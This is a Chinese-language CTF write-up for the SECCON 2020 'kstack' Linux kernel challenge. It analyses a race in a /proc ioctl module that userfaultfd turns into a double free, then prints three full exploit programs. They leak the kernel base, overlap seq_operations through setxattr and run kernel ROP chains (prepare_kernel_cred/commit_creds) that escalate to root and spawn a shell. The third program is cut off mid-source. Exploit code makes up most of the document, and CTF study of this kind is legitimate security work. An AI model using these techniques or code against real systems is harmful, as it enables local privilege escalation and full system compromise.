SECCON-2020-kstack:userfaultfd + setxattr + double free

启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep \
    -net user -net nic -device e1000 \
    -no-reboot \
    -s \
    -monitor /dev/null \
    -nographic

题目

typedef struct _Element {
  int owner;
  unsigned long value;
  struct _Element *fd;
} Element;

Element大小为24,kmalloc(sizeof(Element))分配进kmalloc-32的slab中

static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  Element *tmp, *prev;
  int pid = task_tgid_nr(current);
  switch(cmd) {
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
      head = tmp->fd;
      kfree(tmp);
      return -EINVAL;
    }
    break;

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }
    break;
  }
  return 0;
}
  • CMD_PUSH,分配一个Element,kmalloc-32 slab;并将用户层的值拷贝到Element->value,并将该slab链入单向链表中
    • copy_from_user失败后
      • 会释放Element,kfree(tmp);
      • tmp是局部变量,未置NULL
  • CMD_POP,将单向链表中,所有Element->owner与调用进程pid相同的,全部释放掉,并将Element->value拷贝到用户空间
    • 如果Element->value的值是有用的,但Element->value拷贝到用户空间,这个用户空间地址是不变的,如果拷贝多份,会被覆盖,所以考虑只拷贝一份出来,也就是链表中,只放入一个Element
    • 释放Element,kfree(tmp); tmp未置NULL

因为是题目,总会有解的,分析漏洞在哪里

1)CMD_PUSH正常,CMD_POP有问题吗?

CMD_POP,copy_to_user失败

proc_ioctl调用就直接退出了,没任意影响

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;  <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

CMD_POP,copy_to_user正常

单向链表指针正常调整
kfree(tmp);,tmp未置NULL,有利用方式吗?

  • CMD_PUSH中,tmp会被重新初始化tmp = kmalloc(sizeof(Element), GFP_KERNEL);,没啥问题
  • CMD_POP中,for中的下一轮被重新赋值,没啥问题
  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);		<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

2)CMD_PUSH copy_from_user正常失败

  • CMD_PUSH
    • head = tmp->fd; head指向head自身
    • kfree(tmp); 无用,在CMD_POP中重新赋值
  • CMD_POP
    • 第一轮for循环,tmp指向head,head->owner无数据,准备prev = tmp, tmp = tmp->fd
    • head->fd无内容,for循环结束
  • 这看起来也没啥问题
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {	// 失败
      head = tmp->fd; 	// 修正指针
      kfree(tmp);	// 释放掉
      return -EINVAL;
    }

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

3)CMD_PUSH copy_from_user正常失败,并暂停住

  • CMD_PUSH,copy_from_user失败并暂停住
  • CMD_POP
    • 可正常copy_to_user
    • 可kfree
  • CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {	// 失败,并暂停住
      head = tmp->fd;
      kfree(tmp);
      return -EINVAL;
    }

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

看起来这种运行方式,通过userfaultfd或者fuse达成

详细分析CMD_PUSH copy_from_user正常失败,并暂停住

1)不能白白浪费CMD_POP中的可正常copy_to_user

  • CMD_PUSH,copy_from_user失败并暂停住
  • CMD_POP
    • 可正常copy_to_user <<<<<<<<<<<<<<<<<<
    • 可kfree
  • CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free

在上面整体运行的时候,可以先分配带有内核函数指针的kmalloc-32
1)分配带内核指针的kmalloc-32,slab-A
2)释放slab-A
3)CMD_PUSH,copy_from_user失败并暂停住(占据slab-A,且内容没有被污染)
4)CMD_POP
4-1)可正常copy_to_user (获取内核指针,获取内核基地址)
4-2)可kfree
5)CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free

2)double-free的利用

分配:一个带有函数指针的内核结构体 slab-B
分配:分配时修改slab-B中的函数指针
触发:slab-B的函数指针

利用

exp1

  • 分配并释放shm_file_data
  • mmap地址addr,该地址被注册进userfaultfd
  • push-addr
    • 在 CMD_PUSH,copy_from_user处暂停
    • pop,获取shm_file_data->ipc_namespace,计算内核基地址
    • 产生double-free的第一个free
    • 修改addr的属性,PROT_NONE,copy_from_user失败,产生double-free的第二个free
  • double-free第一次分配:open("proc/self/stat"),分配seq_operations
  • double-free第二次分配:setxattr,同时修改seq_operations中的start为一个rop栈迁移
  • 在栈迁移处布置rop
  • 触发seq_operations->start提权
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define ulong unsigned long
#define errExit(msg)          \
  do                          \
  {                           \
    perror("[ERROR EXIT]\n"); \
    perror(msg);              \
    exit(EXIT_FAILURE);       \
  } while (0)
#define WAIT(msg) \
  puts(msg);      \
  fgetc(stdin);

#define PAGE 0x1000

ulong user_cs, user_ss, user_sp, user_rflags;
int fd;                        // file descriptor of /dev/note
char *addr = 0x117117000;      // memory region supervisored
char *shmaddr = 0x200200000;   // memory region shmat
const char *buf[0x1000];       // userland buffer
const ulong len = PAGE * 0x10; // memory length
ulong leak, kernbase;

void pop_shell(void)
{
  char *argv1[] = {"/bin/cat", "/flag", NULL};
  char *envp1[] = {NULL};
  execve("/bin/cat", argv1, envp1);
  char *argv2[] = {"/bin/sh", NULL};
  char *envp2[] = {NULL};
  execve("/bin/sh", argv2, envp2);
}

static void save_state(void)
{
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}

#define POP 0x57ac0002
#define PUSH 0x57ac0001

struct Element
{
  int owner;
  ulong value;
  struct Element *fd;
};

int _push(ulong *data)
{
  if (ioctl(fd, PUSH, data) < 0)
    if (errno == EINVAL)
    {
      printf("[-] copy_from_user failed.\n");
      errno = 0;
    }
    else
      errExit("_push");

  // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
  return 0;
}

int _pop(ulong *givenbuf)
{
  if (ioctl(fd, POP, givenbuf) < 0)
    errExit("_pop");

  printf("[+] poped %llx\n", *givenbuf);
  return 0;
}

static void call_shmat(void)
{
  int shmid;
  void *addr;
  pid_t pid;

  if ((pid = fork()) == 0)
  {
    if ((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600)) == -1)
      errExit("shmget fail");

    if ((addr = shmat(shmid, NULL, SHM_RDONLY)) == -1)
      errExit("shmat fail");

    if (shmctl(shmid, IPC_RMID, NULL) == -1)
      errExit("shmctl");

    printf("[ ] Success call_shmat: %p\n", addr);
    printf("[ ] Child is exiting...\n");
    exit(0);
  }
  wait(pid);
  printf("[ ] Parent is returning...\n");
}

// cf. man page of userfaultfd
static void *fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg; // data read from userfaultfd
  struct uffdio_range uffdio_range;
  long uffd = (long)arg; // userfaultfd file descriptor
  struct pollfd pollfd;  //
  int nready;            // number of polled events
  ulong hogebuf;

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while (poll(&pollfd, 1, -1) > 0)
  {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if (read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if (msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: %p\n", msg.arg.pagefault.address);

    //********* Now, another thread is halting. Do my business. **//
    // leak kernbase
    puts("[+] pop before push!");
    _pop(&hogebuf); // leak shm_file_data->ipc_namespace
    leak = hogebuf;
    kernbase = leak - 0xc38600;
    printf("[!] leaked: %llx\n", leak);
    printf("[!] kernbase(text): %llx\n", kernbase);

    // change page permission and make fail copy_from_user
    mprotect(msg.arg.pagefault.address & ~(PAGE - 1), PAGE, PROT_NONE);
    printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE - 1));
    uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_range.len = PAGE;
    if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
      errExit("ioctl-UFFDIO_UNREGISTER");
    printf("[+] unregistered supervisored region.\n");

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;     // userfaultfd file descriptor
  pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if (uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  puts("[+] mmapped...");
  if (addr == MAP_FAILED)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = addr;
  uffdio_register.range.len = PAGE * 0x10;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
  if (s != 0)
  {
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
}

int main(void)
{
  /** gadgets **/
  ulong pop_rdi = 0x194964;
  // 0xffffffff81194964: pop rdi ; ret  ;  (19 found)
  ulong pop_rcx = 0x0dee43;
  // 0xffffffff810dee43: pop rcx ; ret  ;  (49 found)
  ulong stack_pivot = 0x059d8b;
  // 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret  ;  (1 found)
  ulong prepare_kernel_cred = 0x06b960;
  // ffffffff8106b960 T prepare_kernel_cred
  ulong mov_rdi_rax = 0x0187bf;
  // 0xffffffff810187bf: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
  ulong commit_creds = 0x06b770;
  // ffffffff8106b770 T commit_creds
  ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a;
  // ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode
  /*
   0xffffffff81600a4a :    mov    rdi,rsp
   0xffffffff81600a4d :    mov    rsp,QWORD PTR gs:0x5004
   0xffffffff81600a56 :    push   QWORD PTR [rdi+0x30]
   0xffffffff81600a59 :    push   QWORD PTR [rdi+0x28]
   0xffffffff81600a5c :    push   QWORD PTR [rdi+0x20]
   0xffffffff81600a5f :    push   QWORD PTR [rdi+0x18]
   0xffffffff81600a62 :    push   QWORD PTR [rdi+0x10]
   0xffffffff81600a65 :   push   QWORD PTR [rdi]
   0xffffffff81600a67 :   push   rax
   0xffffffff81600a68 :   xchg   ax,ax
   0xffffffff81600a6a :   mov    rdi,cr3
   0xffffffff81600a6d :   jmp    0xffffffff81600aa3 
   0xffffffff81600a6f :   mov    rax,rdi
   0xffffffff81600a72 :   and    rdi,0x7ff

  */

  void *tmp_addr;
  ulong tmp_buf = 0xdeadbeef;
  int sfd;
  unsigned long *fstack;
  ulong *rop;

  // save state
  save_state();

  //  open target proc file
  if ((fd = open("/proc/stack", O_RDONLY)) < 0)
    errExit("open-/proc/stack");

  // set userfaultfd
  register_userfaultfd_and_halt();
  sleep(1);

  // 申请 shm_file_data 然后释放
  call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
  // 先申请,之前被释放的 shm_file_data ,然后写入数据,写入数据的时候,产生中断
  // 页面处理中,通过_pop,读取之前shm_file_data结构体中的数据,最终得到kernel_base,并释放push申请的结构体(1-free)
  // 再通过mprotect,使push中的copy_from_user,调用free,从而产生double free(2-free)
  _push(addr); // invoke fault

  // alloc seq_operations;
  // double-free-1-alloc
  if ((sfd = open("proc/self/stat", O_RDONLY)) == -1)
    errExit("single_open");

  // overwrite seq_operations;
  char buf[0x20];
  printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot);
  for (int ix = 0; ix != 4; ++ix) // first 8byte is useless.
    *(ulong *)(buf + ix * 8) = (kernbase + stack_pivot);
  // double-free-2-alloc
  setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);

  // alloc fake stack for 0x83C389C0
  fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  if (fstack != 0x83C38000)
    errExit("fstack");

  /********** construct kROP ***************/
  rop = (ulong *)0x83C389c0;
  // Get cred of init task.
  *rop++ = kernbase + pop_rdi;
  *rop++ = 0;
  *rop++ = kernbase + prepare_kernel_cred;
  // Commit that cred.
  *rop++ = kernbase + pop_rcx; // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0.
  *rop++ = 0;
  *rop++ = kernbase + mov_rdi_rax;
  *rop++ = 0; // fake rbp
  *rop++ = kernbase + commit_creds;
  // Return to usermode by swapgs_restore_regs_and_return_to_usermode
  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)&pop_shell;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp;
  *rop++ = user_ss;

  // pop shell
  read(sfd, buf, 0x10);

  return 0;
}

exp2

  • 获取内核基地址
  • 通过两次pop实现double-free
  • double-free第一次分配:open(“proc/self/stat”),分配seq_operations
  • double-free第二次分配:setxattr,同时修改seq_operations中的start
  • 与exp1的区别是使用,pt_regs 来完成 ROP
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PAGE_SIZE 0x1000

int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void push(char* data)
{
	if(ioctl(fd, 0x57AC0001, data) < 0)
		ErrExit("push error");
}

void pop(char* data)
{
	if(ioctl(fd, 0x57AC0002, data) < 0)
		ErrExit("pop error");
}

void get_shell()
{
	if (getuid() == 0)
	{
		system("/bin/sh");
	}
	else
	{
		puts("[-] get shell error");
		exit(1);
	}
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}

void *userfault_leak_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	
	puts("[+] leak handler created");
	pop(&kernel_offset);
	kernel_offset-= 0xffffffff81c37bc0;
	printf("[+] kernel offset: 0x%lx\n", kernel_offset);
	
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
}

void *userfault_double_free_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");

	struct uffdio_copy uc;
	
	// init page
	memset(page, 0, sizeof(page));
	
	puts("[+] double free handler created");
	pop(page);

	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] double free handler done");
}

size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;

void *userfault_hijack_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("[+] hijack handler created");
	puts("[+] tigger..");
	for(int i=0; i<100; i++)
		close(seq_fds[i]);
	
	pop_rdi_ret += kernel_offset;
	mov_rdi_rax_pop_rbp_ret += kernel_offset;
	prepare_kernel_cred += kernel_offset;
	commit_creds += kernel_offset;
	swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;

	__asm__(
	"mov r15,   0xbeefdead;"
	"mov r14,   0x11111111;"
	"mov r13,   pop_rdi_ret;"
	"mov r12,   0;"
	"mov rbp,   prepare_kernel_cred;"
	"mov rbx,   mov_rdi_rax_pop_rbp_ret;"    
	"mov r11,   0x66666666;"
	"mov r10,   commit_creds;"
	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
	"mov r8,    0x99999999;"
	"xor rax,   rax;"
	"mov rcx,   0xaaaaaaaa;"
	"mov rdx,   8;"
	"mov rsi,   rsp;"
	"mov rdi,   seq_fd;"
	"syscall"
	);
	
	printf("[+] uid: %d gid: %d\n", getuid(), getgid());
	get_shell();
        
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] hijack handler done");
}

int main()
{
	size_t size[0x10];
	char* leak_buf;
	char* double_free_buf;
	char* hijack_buf;
	int shm_id;
	char* shm_addr;
	
	fd = open("/proc/stack",O_RDONLY);
	if(fd < 0)
		ErrExit("[-] open kstack error");
	
	for(int i=0; i<100; i++)
		if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
			ErrExit("open stat error");

	// 1、泄露内核基地址
	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(leak_buf, userfault_leak_handler);

	shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
	if (shm_id < 0)
		ErrExit("shmget error");
	shm_addr = shmat(shm_id, NULL, 0);
	if (shm_addr < 0)
		ErrExit("shmat!");
	if(shmdt(shm_addr) < 0)
		ErrExit("shmdt error");

	push(leak_buf);
	
	// 2、通过两次pop实现double-free
	double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(double_free_buf, userfault_double_free_handler);
	
	push("fxc");
	pop(double_free_buf);
	
	
	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;

	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
		ErrExit("open stat error");

	setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}

// https://www.cnblogs.com/pwnfeifei/p/16650533.html

exp3

与exp1的区别,调整了一下内核基地址泄露和double-free的顺序

// gcc -static -pthread exp.c -g -o exp
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;

void Err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void savestatus(){
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

void get_shell(){
    if(!getuid()){
        puts("Root Now!");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
}

void Input(char* buf){
    if(-1 == ioctl(fd, 1470889985, buf)){
        Err("Input");
    }
    puts("  [=] input ok");
}

void Output(char* buf){
    if(-1 == ioctl(fd, 1470889986, buf)){
        Err("Output");
    }
    puts("  [=] output ok");
}

int page_size;
void* handler(void *arg){
    unsigned long value;
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    int len, i;

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
    }

    uffd = (long)arg;

    for(;;) {
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        len = poll(&pollfd, 1, -1);
        if (len == -1) fatal("poll");

        printf("[+] fault_handler_thread():\n");
        printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %d\n", len,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

        len = read(uffd, &msg, sizeof(msg));
        if (len == 0) fatal("userfaultfd EOF");
        if (len == -1) fatal("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");

        printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
        printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
        printf("    address = 0x%lx\n", msg.arg.pagefault.address);
        printf("[!] fault_cnt: %d\n",fault_cnt);
        switch(fault_cnt) {
            case 0:
                puts("  [1.1] First Double Free");
                Output(&value);
                printf("  [1.1] faultd free ok, popped: %016lx\n", value);
                break;
            case 1:
                // overlap Element and seq_operations (caused by push)
                puts("  [2.1] Second Output to get kernel_addr");
                Output(&value);
                printf("  [2.1] fault get addr ok, popped: %016lx\n", value);
                kernel_base = value - offset;
                break;
            case 2:
                // double free (caused by pop)
                puts("  [3.1]Third Double free");
                Output(&value);
                printf("  [3.1]fault free ok, popped: %016lx\n", value);
                break;
            default:
                puts("ponta!");
                getchar();
                break;
        }

        // return to kernel-land
        uffdio_copy.src = (unsigned long)page;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
        printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
        fault_cnt++;
    }  
}

size_t register_userfault(size_t addr, size_t len){
    long uffd;        
//    char *addr;       
//    size_t len = 0x1000;
    pthread_t thr; 
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    // new userfaulfd
    page_size = sysconf(_SC_PAGE_SIZE);
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
    {
        puts("userfaultfd\n");
        exit(-1);
    }

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
    {
        puts("ioctl uffd err\n");
        exit(-1);
    }
//    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
//                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//    if (addr == MAP_FAILED)
//    {
//        puts("map err\n");
//        exit(-1);
//    }

    printf("Address returned by mmap() = %p\n", addr);
    uffdio_register.range.start = (size_t) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
//                                       //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
    {
        puts("ioctl register err\n");
        exit(-1);
    }

    s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
    if (s != 0) {
        errno = s;
        puts("pthread create err\n");
        exit(-1);
    }
    return addr;
}

void prepare_ROP(){
